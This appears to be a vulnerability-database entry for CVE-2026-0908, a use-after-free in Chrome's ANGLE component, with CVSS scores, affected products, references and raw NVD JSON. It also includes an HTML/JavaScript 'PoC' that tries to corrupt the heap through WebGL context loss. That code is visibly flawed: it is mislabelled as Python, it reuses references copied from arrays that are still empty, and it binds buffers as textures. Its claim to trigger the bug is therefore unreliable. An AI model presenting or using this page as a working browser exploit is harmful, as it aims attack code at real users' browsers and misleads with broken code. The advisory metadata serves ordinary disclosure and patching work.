CVE-2026-0908

Description

Use after free in ANGLE in Google Chrome prior to 144.0.7559.59 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Low)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 144.0.7559.59

Chromium-based browsers using ANGLE component < 144.0.7559.59

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2026-0908 PoC - ANGLE Use After Free in Google Chrome -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-0908 PoC</title>
</head>
<body>
    <canvas id="glCanvas" width="800" height="600"></canvas>
    <script>
        // Trigger ANGLE Use After Free vulnerability
        // Target: Google Chrome < 144.0.7559.59
        
        const canvas = document.getElementById('glCanvas');
        const gl = canvas.getContext('webgl2');
        
        if (!gl) {
            console.log('WebGL2 not supported');
            // Fallback to WebGL1
            const gl1 = canvas.getContext('webgl');
            if (!gl1) {
                document.body.innerHTML = '<h1>WebGL not supported</h1>';
            }
        }
        
        // Create WebGL resources
        const buffers = [];
        const textures = [];
        
        function createResources() {
            // Create buffers
            for (let i = 0; i < 10; i++) {
                const buffer = gl.createBuffer();
                gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
                gl.bufferData(gl.ARRAY_BUFFER, new Float32Array([1,2,3,4]), gl.STATIC_DRAW);
                buffers.push(buffer);
            }
            
            // Create textures
            for (let i = 0; i < 5; i++) {
                const texture = gl.createTexture();
                gl.bindTexture(gl.TEXTURE_2D, texture);
                gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA, 256, 256, 0, gl.RGBA, gl.UNSIGNED_BYTE, null);
                textures.push(texture);
            }
        }
        
        function triggerUseAfterFree() {
            // Store references to resources
            const leakedRefs = [...buffers, ...textures];
            
            // Force context loss and restoration to trigger resource cleanup
            const ext = gl.getExtension('WEBGL_lose_context');
            
            // Create rendering context
            createResources();
            
            // Trigger context loss which may prematurely release ANGLE resources
            ext.loseContext();
            
            // Restore context
            setTimeout(() => {
                ext.restoreContext();
                
                // Attempt to use the previously created resources
                // This may trigger use-after-free if ANGLE released resources prematurely
                try {
                    for (let i = 0; i < leakedRefs.length; i++) {
                        gl.bindBuffer(gl.ARRAY_BUFFER, leakedRefs[i]);
                        gl.bindTexture(gl.TEXTURE_2D, leakedRefs[i]);
                    }
                    
                    // Additional WebGL operations to amplify heap corruption
                    const program = gl.createProgram();
                    const shader = gl.createShader(gl.VERTEX_SHADER);
                    
                    // Force garbage collection if available
                    if (window.gc) {
                        window.gc();
                    }
                } catch (e) {
                    console.log('Error during UAF trigger:', e);
                }
            }, 100);
        }
        
        // Execute the PoC
        setTimeout(triggerUseAfterFree, 500);
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-0908
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-0908
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-0908/
[4] VulDB https://vuldb.com/cve/CVE-2026-0908
[5] https://chromereleases.googleblog.com/2026/01/stable-channel-update-for-desktop_13.html
[6] https://issues.chromium.org/issues/452209503

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-0908", "sourceIdentifier": "[email protected]", "published": "2026-01-20T05:16:16.327", "lastModified": "2026-01-29T20:27:56.433", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in ANGLE in Google Chrome prior to 144.0.7559.59 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page. (Chromium security severity: Low)"}, {"lang": "es", "value": "Uso después de liberar en ANGLE en Google Chrome anterior a 144.0.7559.59 permitió a un atacante remoto potencialmente explotar la corrupción de pila a través de una página HTML manipulada. (Gravedad de seguridad de Chromium: Baja)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "144.0.7559.59", "matchCriteriaId": "7322229C-61DF-4A91-9816-F7796F9AABCD"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "144.0.7559.60", "matchCriteriaId": "258B923C-054B-4411-9E82-36C89A6BE4C4"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/01/stable-channel-update-for-desktop_13.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/452209503", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}